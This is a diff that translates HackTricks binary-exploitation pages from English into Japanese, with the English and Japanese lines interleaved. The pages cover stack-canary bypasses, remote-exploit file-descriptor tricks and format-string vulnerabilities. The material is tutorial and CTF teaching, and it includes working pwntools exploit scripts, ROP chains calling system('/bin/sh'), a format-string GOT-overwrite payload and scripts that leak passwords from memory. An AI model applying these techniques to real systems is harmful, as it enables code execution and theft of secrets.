## Threads 同じプロセスのスレッドは**同じカナリアトークンを共有する**ため、バイナリが攻撃のたびに新しいスレッドを生成する場合、カナリアを**ブルートフォース**することが可能です。&#x20;
Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens.&#x20; さらに、カナリアで保護された**スレッド関数のバッファオーバーフロー**を利用して、**TLSに保存されたマスターカナリアを変更する**ことができます。これは、スレッドの**スタック**内での**bof**を介してTLSが保存されているメモリ位置に到達することが可能であるためです。\
その結果、チェックは同じただし変更された2つのカナリアを使用しているため、緩和策は無意味です。\
この攻撃は、次の書き込みで実行されます: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\ また、[https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015)のプレゼンテーションも確認してください。ここでは、通常**TLS**は**`mmap`**によって保存され、**スレッド**の**スタック**が作成されるときも`mmap`によって生成されるため、前述の書き込みで示されたようにオーバーフローが可能になることが言及されています。
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup. ## その他の例と参考文献
## Other examples & references
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there. - 64ビット、PIEなし、nx、BFカナリア、`execve`を呼び出すROPをメモリに書き込み、そこにジャンプします。

View File

@ -4,30 +4,30 @@
## Enlarge printed stack ## Enlarge printed stack
Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**. スタックオーバーフローに脆弱な**プログラム**が**スタックオーバーフロー**の**一部**を指す**puts**関数を実行できる状況を想像してください。攻撃者は**カナリアの最初のバイトがヌルバイト**`\x00`)であり、残りのカナリアは**ランダム**なバイトであることを知っています。次に、攻撃者は**カナリアの最初のバイト**までスタックを**上書きする**オーバーフローを作成することができます。
Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte). その後、攻撃者はペイロードの中間で**puts機能**を呼び出し、**カナリアのすべて**を**印刷**します(最初のヌルバイトを除く)。
With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session). この情報を使って、攻撃者は**カナリア**を知っている状態で**新しい攻撃を作成して送信**することができます(同じプログラムセッション内で)。
Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**. 明らかに、この戦術は非常に**制限されて**おり、攻撃者は**ペイロードの内容**を**印刷**して**カナリアを抽出**し、その後**新しいペイロード**を作成して(**同じプログラムセッション内で****実際のバッファオーバーフローを送信**する必要があります。
**CTF examples:**&#x20; **CTFの例:**&#x20;
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` - 64ビット、ASLRが有効ですがPIEはなし、最初のステップはカナリアのバイト0x00までオーバーフローを埋めてからputsを呼び出して漏洩させることです。カナリアを使ってROPガジェットを作成し、putsを呼び出してGOTからputsのアドレスを漏洩させ、次に`system('/bin/sh')`を呼び出すROPガジェットを作成します。
- [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html) - [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html)
- 32 bit, ARM, no relro, canary, nx, no pie. Overflow with a call to puts on it to leak the canary + ret2lib calling `system` with a ROP chain to pop r0 (arg `/bin/sh`) and pc (address of system) - 32ビット、ARM、relroなし、カナリア、nx、pieなし。カナリアを漏洩させるためにputsを呼び出すオーバーフロー + ROPチェーンで`system`を呼び出すためにr0引数`/bin/sh`とpcsystemのアドレスをポップします。
## Arbitrary Read ## Arbitrary Read
With an **arbitrary read** like the one provided by format **strings** it might be possible to leak the canary. Check this example: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) and you can read about abusing format strings to read arbitrary memory addresses in: フォーマット**文字列**によって提供される**任意の読み取り**を使用すると、カナリアを漏洩させることができるかもしれません。この例を確認してください: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) そして、任意のメモリアドレスを読み取るためにフォーマット文字列を悪用することについては以下を参照してください:
{{#ref}} {{#ref}}
../../format-strings/ ../../format-strings/
{{#endref}} {{#endref}}
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html) - [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
- This challenge abuses in a very simple way a format string to read the canary from the stack - このチャレンジは、スタックからカナリアを読み取るために非常にシンプルな方法でフォーマット文字列を悪用しています。
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,15 +1,14 @@
# Common Exploiting Problems # 一般的なエクスプロイトの問題
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## FDs in Remote Exploitation ## リモートエクスプロイトにおけるFD
When sending an exploit to a remote server that calls **`system('/bin/sh')`** for example, this will be executed in the server process ofc, and `/bin/sh` will expect input from stdin (FD: `0`) and will print the output in stdout and stderr (FDs `1` and `2`). So the attacker won't be able to interact with the shell. 例えば、**`system('/bin/sh')`**を呼び出すエクスプロイトをリモートサーバーに送信すると、これはサーバープロセス内で実行され、`/bin/sh`はstdinFD: `0`からの入力を期待し、stdoutおよびstderrに出力を印刷しますFDs `1``2`)。したがって、攻撃者はシェルと対話することができません。
A way to fix this is to suppose that when the server started it created the **FD number `3`** (for listening) and that then, your connection is going to be in the **FD number `4`**. Therefore, it's possible to use the syscall **`dup2`** to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it'll make feasible to contact the shell once it's executed. これを修正する方法は、サーバーが起動したときに**FD番号 `3`**(リスニング用)を作成し、その後、あなたの接続が**FD番号 `4`**になると仮定することです。したがって、syscall **`dup2`**を使用してstdinFD 0とstdoutFD 1をFD 4攻撃者の接続のものに複製することが可能であり、これによりシェルが実行されたときに連絡を取ることが可能になります。
[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
[**ここからエクスプロイトの例**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python ```python
from pwn import * from pwn import *
@ -26,13 +25,12 @@ p.sendline(rop.chain())
p.recvuntil('Thanks!\x00') p.recvuntil('Thanks!\x00')
p.interactive() p.interactive()
``` ```
## Socat & pty ## Socat & pty
Note that socat already transfers **`stdin`** and **`stdout`** to the socket. However, the `pty` mode **include DELETE characters**. So, if you send a `\x7f` ( `DELETE` -)it will **delete the previous character** of your exploit. socatはすでに**`stdin`**と**`stdout`**をソケットに転送します。ただし、`pty`モードは**DELETE文字**を**含みます**。したがって、`\x7f``DELETE` -)を送信すると、**あなたのエクスプロイトの前の文字を削除します**。
In order to bypass this the **escape character `\x16` must be prepended to any `\x7f` sent.** これを回避するために、**エスケープ文字`\x16`を送信する任意の`\x7f`の前に追加する必要があります。**
**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.** **ここでこの動作の例を** [**見つけることができます**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)****
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -1,23 +1,16 @@
# Format Strings # フォーマット文字列
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> ## 基本情報
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). Cの**`printf`**は、いくつかの文字列を**出力**するために使用できる関数です。この関数が期待する**最初のパラメータ**は、**フォーマッタを含む生のテキスト**です。続く**パラメータ**は、**生のテキストからフォーマッタを置き換えるための**値**です。
{% embed url="https://www.stmcyber.com/careers" %} 他の脆弱な関数には**`sprintf()`**や**`fprintf()`**があります。
## Basic Information 脆弱性は、**攻撃者のテキストがこの関数の最初の引数として使用されるとき**に現れます。攻撃者は、**printfフォーマット**文字列の機能を悪用して、**任意のアドレス(読み取り可能/書き込み可能)にある任意のデータを読み書き**するための**特別な入力を作成**することができます。この方法で**任意のコードを実行**することが可能です。
In C **`printf`** is a function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text.
Other vulnerable functions are **`sprintf()`** and **`fprintf()`**.
The vulnerability appears when an **attacker text is used as the first argument** to this function. The attacker will be able to craft a **special input abusing** the **printf format** string capabilities to read and **write any data in any address (readable/writable)**. Being able this way to **execute arbitrary code**.
#### Formatters:
#### フォーマッタ:
```bash ```bash
%08x —> 8 hex bytes %08x —> 8 hex bytes
%d —> Entire %d —> Entire
@ -28,72 +21,58 @@ The vulnerability appears when an **attacker text is used as the first argument*
%hn —> Occupies 2 bytes instead of 4 %hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 <n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
``` ```
**例:**
**Examples:** - 脆弱な例:
- Vulnerable example:
```c ```c
char buffer[30]; char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions. gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack. printf(buffer); // If buffer contains "%x", it reads from the stack.
``` ```
- 通常の使用:
- Normal Use:
```c ```c
int value = 1205; int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
``` ```
- 引数が不足している場合:
- With Missing Arguments:
```c ```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack. printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
``` ```
- fprintf 脆弱性:
- fprintf vulnerable:
```c ```c
#include <stdio.h> #include <stdio.h>
int main(int argc, char *argv[]) { int main(int argc, char *argv[]) {
char *user_input; char *user_input;
user_input = argv[1]; user_input = argv[1];
FILE *output_file = fopen("output.txt", "w"); FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters! fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file); fclose(output_file);
return 0; return 0;
} }
``` ```
### **ポインタへのアクセス**
### **Accessing Pointers** フォーマット **`%<n>$x`** は、`n` が数字である場合、printf にスタックから n 番目のパラメータを選択するよう指示します。したがって、printf を使用してスタックから 4 番目のパラメータを読み取りたい場合は、次のようにできます:
The format **`%<n>$x`**, where `n` is a number, allows to indicate to printf to select the n parameter (from the stack). So if you want to read the 4th param from the stack using printf you could do:
```c ```c
printf("%x %x %x %x") printf("%x %x %x %x")
``` ```
最初のパラメータから4番目のパラメータまで読み取ります。
and you would read from the first to the forth param. または、次のようにできます:
Or you could do:
```c ```c
printf("%4$x") printf("%4$x")
``` ```
そして4番目を直接読み取ります。
and read directly the forth. 攻撃者が`printf`の**パラメータを制御していることに注意してください。これは基本的に**、`printf`が呼び出されるときに彼の入力がスタックに存在することを意味し、特定のメモリアドレスをスタックに書き込むことができるということです。
Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
> [!CAUTION] > [!CAUTION]
> An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour. > この入力を制御する攻撃者は、**スタックに任意のアドレスを追加し、`printf`がそれにアクセスできるようにします**。次のセクションでは、この動作をどのように利用するかが説明されます。
## **Arbitrary Read** ## **任意の読み取り**
It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with:
フォーマッタ**`%n$s`**を使用して、**`printf`**が**n位置**にある**アドレス**を取得し、それを**文字列のように印刷する**ことが可能です0x00が見つかるまで印刷します。したがって、バイナリのベースアドレスが**`0x8048000`**であり、ユーザー入力がスタックの4番目の位置から始まることがわかっている場合、次のようにバイナリの先頭を印刷することができます
```python ```python
from pwn import * from pwn import *
@ -106,18 +85,16 @@ payload += p32(0x8048000) #6th param
p.sendline(payload) p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
``` ```
> [!CAUTION] > [!CAUTION]
> Note that you cannot put the address 0x8048000 at the beginning of the input because the string will be cat in 0x00 at the end of that address. > 入力の最初にアドレス0x8048000を置くことはできません。なぜなら、そのアドレスの末尾に0x00が付加されるからです。
### Find offset ### オフセットを見つける
To find the offset to your input you could send 4 or 8 bytes (`0x41414141`) followed by **`%1$x`** and **increase** the value till retrieve the `A's`. 入力のオフセットを見つけるために、4または8バイト`0x41414141`)を送信し、その後に**`%1$x`**を続けて、`A`を取得するまで**値を増加**させます。
<details> <details>
<summary>Brute Force printf offset</summary> <summary>ブルートフォースprintfオフセット</summary>
```python ```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@ -125,88 +102,82 @@ from pwn import *
# Iterate over a range of integers # Iterate over a range of integers
for i in range(10): for i in range(10):
# Construct a payload that includes the current integer as offset # Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode() payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary # Start a new process of the "chall" binary
p = process("./chall") p = process("./chall")
# Send the payload to the process # Send the payload to the process
p.sendline(payload) p.sendline(payload)
# Read and store the output of the process # Read and store the output of the process
output = p.clean() output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output # Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output: if b"41414141" in output:
# If the string is found, log the success message and break out of the loop # If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}") log.success(f"User input is at offset : {i}")
break break
# Close the process # Close the process
p.close() p.close()
``` ```
</details> </details>
### How useful ### どれほど役立つか
Arbitrary reads can be useful to: 任意の読み取りは以下に役立ちます:
- **Dump** the **binary** from memory - **メモリから** **バイナリ**を**ダンプ**する
- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) - **機密情報が保存されているメモリの特定の部分にアクセスする**(カナリア、暗号化キー、またはこの[**CTFチャレンジ**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)のようなカスタムパスワードなど)
## **Arbitrary Write** ## **任意の書き込み**
The formatter **`%<num>$n`** **writes** the **number of written bytes** in the **indicated address** in the \<num> param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%<num>$n`** write an arbitrary number in an arbitrary address. フォーマッタ **`%<num>$n`** は、スタックの\<num>パラメータにおいて**指定されたアドレス**に**書き込まれたバイト数**を**書き込みます**。攻撃者がprintfを使って任意の数の文字を書き込むことができれば、**`%<num>$n`** を使って任意のアドレスに任意の数を**書き込む**ことができるようになります。
Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter **`%.<num-write>%<num>$n`** to write the number **`<num-write>`** in the **address pointed by the `num` position**.
幸いなことに、9999という数を書くために、入力に9999個の"A"を追加する必要はなく、フォーマッタ **`%.<num-write>%<num>$n`** を使用して、**`<num-write>`**という数を**`num`位置が指すアドレスに書き込む**ことが可能です。
```bash ```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500 AAAA.%500\$08x —> Param at offset 500
``` ```
ただし、通常、`0x08049724`のようなアドレスを書くためには(これは一度に書くには非常に大きな数です)、**`$hn`**が**`$n`**の代わりに使用されます。これにより、**2バイトだけを書く**ことができます。したがって、この操作は2回行われ、アドレスの最上位2バイトと最下位2バイトのそれぞれに対して行われます。
However, note that usually in order to write an address such as `0x08049724` (which is a HUGE number to write at once), **it's used `$hn`** instead of `$n`. This allows to **only write 2 Bytes**. Therefore this operation is done twice, one for the highest 2B of the address and another time for the lowest ones. したがって、この脆弱性は**任意のアドレスに何でも書き込むことを可能にします(任意書き込み)。**
Therefore, this vulnerability allows to **write anything in any address (arbitrary write).** この例では、目標は**後で呼び出される**関数の**アドレス**を**上書き**することです。これは他の任意書き込みからexec技術を悪用する可能性があります
In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques:
{{#ref}} {{#ref}}
../arbitrary-write-2-exec/ ../arbitrary-write-2-exec/
{{#endref}} {{#endref}}
We are going to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**.\ 私たちは、**ユーザー**から**引数**を**受け取る**関数を**上書き**し、それを**`system`**関数に**ポイント**します。\
As mentioned, to write the address, usually 2 steps are needed: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used. 前述のように、アドレスを書くには通常2ステップが必要です最初にアドレスの2バイトを書き、その後に残りの2バイトを書きます。そのために**`$hn`**が使用されます。
- **HOB** is called to the 2 higher bytes of the address - **HOB**はアドレスの上位2バイトに呼び出されます
- **LOB** is called to the 2 lower bytes of the address - **LOB**はアドレスの下位2バイトに呼び出されます
Then, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one. 次に、フォーマット文字列の動作のために、最初に\[HOB, LOB\]の中で最小のものを**書く必要があります**、その後にもう一方を書きます。
If HOB < LOB\ HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
If HOB > LOB\ HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
```bash ```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
``` ```
### Pwntools テンプレート
### Pwntools Template この種の脆弱性に対するエクスプロイトを準備するための**テンプレート**は次の場所にあります:
You can find a **template** to prepare a exploit for this kind of vulnerability in:
{{#ref}} {{#ref}}
format-strings-template.md format-strings-template.md
{{#endref}} {{#endref}}
Or this basic example from [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): または、[**こちら**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)の基本的な例を参照してください:
```python ```python
from pwn import * from pwn import *
@ -225,27 +196,20 @@ p.sendline('/bin/sh')
p.interactive() p.interactive()
``` ```
## フォーマット文字列からBOFへ
## Format Strings to BOF フォーマット文字列の脆弱性の書き込みアクションを悪用して、**スタックのアドレスに書き込む**ことが可能であり、**バッファオーバーフロー**タイプの脆弱性を悪用することができます。
It's possible to abuse the write actions of a format string vulnerability to **write in addresses of the stack** and exploit a **buffer overflow** type of vulnerability. ## その他の例と参考文献
## Other Examples & References
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow) - 32ビット、relroなし、canaryなし、nx、pieなし、スタックからフラグを漏洩させるためのフォーマット文字列の基本的な使用実行フローを変更する必要はありません
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win) - 32ビット、relroあり、canaryなし、nx、pieなし、`fflush`のアドレスをwin関数で上書きするためのフォーマット文字列ret2win
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands. - 32ビット、relroあり、canaryなし、nx、pieなし、`.fini_array`内のmainのアドレスに書き込むためのフォーマット文字列フローがもう1回ループバックするようにおよび`system`のアドレスをGOTテーブルに書き込み、`strlen`を指す。フローがmainに戻ると、`strlen`がユーザー入力で実行され、`system`を指すと、渡されたコマンドが実行されます。
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,32 +1,27 @@
# Format Strings - Arbitrary Read Example # フォーマット文字列 - 任意の読み取り例
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Read Binary Start ## バイナリの読み取り開始
### Code
### コード
```c ```c
#include <stdio.h> #include <stdio.h>
int main(void) { int main(void) {
char buffer[30]; char buffer[30];
fgets(buffer, sizeof(buffer), stdin); fgets(buffer, sizeof(buffer), stdin);
printf(buffer); printf(buffer);
return 0; return 0;
} }
``` ```
次のコマンドでコンパイルします:
Compile it with:
```python ```python
clang -o fs-read fs-read.c -Wno-format-security -no-pie clang -o fs-read fs-read.c -Wno-format-security -no-pie
``` ```
### エクスプロイト
### Exploit
```python ```python
from pwn import * from pwn import *
@ -38,16 +33,14 @@ payload += p64(0x00400000)
p.sendline(payload) p.sendline(payload)
log.info(p.clean()) log.info(p.clean())
``` ```
- **オフセットは11です**。いくつかのAを設定し、0から50までのループで**ブルートフォース**を行った結果、オフセット11で5つの追加文字この場合はパイプ`|`)を使うことで、完全なアドレスを制御できることがわかりました。
- The **offset is 11** because setting several As and **brute-forcing** with a loop offsets from 0 to 50 found that at offset 11 and with 5 extra chars (pipes `|` in our case), it's possible to control a full address. - **`%11$p`**を使用し、アドレスがすべて0x4141414141414141になるまでパディングしました。
- I used **`%11$p`** with padding until I so that the address was all 0x4141414141414141 - **フォーマット文字列のペイロードはアドレスの前にあります**。なぜなら、**printfはヌルバイトで読み取りを停止するため**、アドレスを送信してからフォーマット文字列を送信すると、ヌルバイトが見つかる前にprintfはフォーマット文字列に到達しないからです。
- The **format string payload is BEFORE the address** because the **printf stops reading at a null byte**, so if we send the address and then the format string, the printf will never reach the format string as a null byte will be found before - 選択したアドレスは0x00400000です。これはバイナリが開始する場所ですPIEなし
- The address selected is 0x00400000 because it's where the binary starts (no PIE)
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure> <figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
## Read passwords ## パスワードを読む
```c ```c
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
@ -55,111 +48,103 @@ log.info(p.clean())
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() { int main() {
char stack_password[20] = "secretStackPass"; // Password in stack char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20]; char input1[20], input2[20];
printf("Enter first password: "); printf("Enter first password: ");
scanf("%19s", input1); scanf("%19s", input1);
printf("Enter second password: "); printf("Enter second password: ");
scanf("%19s", input2); scanf("%19s", input2);
// Vulnerable printf // Vulnerable printf
printf(input1); printf(input1);
printf("\n"); printf("\n");
// Check both passwords // Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n"); printf("Access Granted.\n");
} else { } else {
printf("Access Denied.\n"); printf("Access Denied.\n");
} }
return 0; return 0;
} }
``` ```
次のコマンドでコンパイルします:
Compile it with:
```bash ```bash
clang -o fs-read fs-read.c -Wno-format-security clang -o fs-read fs-read.c -Wno-format-security
``` ```
### スタックからの読み取り
### Read from stack **`stack_password`** はローカル変数であるため、スタックに保存されます。したがって、printfを悪用してスタックの内容を表示するだけで十分です。これは、最初の100位置をBFしてスタックからパスワードを漏洩させるためのエクスプロイトです
The **`stack_password`** will be stored in the stack because it's a local variable, so just abusing printf to show the content of the stack is enough. This is an exploit to BF the first 100 positions to leak the passwords form the stack:
```python ```python
from pwn import * from pwn import *
for i in range(100): for i in range(100):
print(f"Try: {i}") print(f"Try: {i}")
payload = f"%{i}$s\na".encode() payload = f"%{i}$s\na".encode()
p = process("./fs-read") p = process("./fs-read")
p.sendline(payload) p.sendline(payload)
output = p.clean() output = p.clean()
print(output) print(output)
p.close() p.close()
``` ```
画像では、`10th`の位置からスタックのパスワードを漏洩できることがわかります:
In the image it's possible to see that we can leak the password from the stack in the `10th` position:
<figure><img src="../../images/image (1234).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (1234).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../images/image (1233).png" alt="" width="338"><figcaption></figcaption></figure> <figure><img src="../../images/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>
### Read data ### データの読み取り
Running the same exploit but with `%p` instead of `%s` it's possible to leak a heap address from the stack at `%25$p`. Moreover, comparing the leaked address (`0xaaaab7030894`) with the position of the password in memory in that process we can obtain the addresses difference: 同じエクスプロイトを`%s`の代わりに`%p`を使って実行すると、スタックからヒープアドレスを`%25$p`で漏洩できます。さらに、漏洩したアドレス(`0xaaaab7030894`)をそのプロセスのメモリ内のパスワードの位置と比較することで、アドレスの差を取得できます:
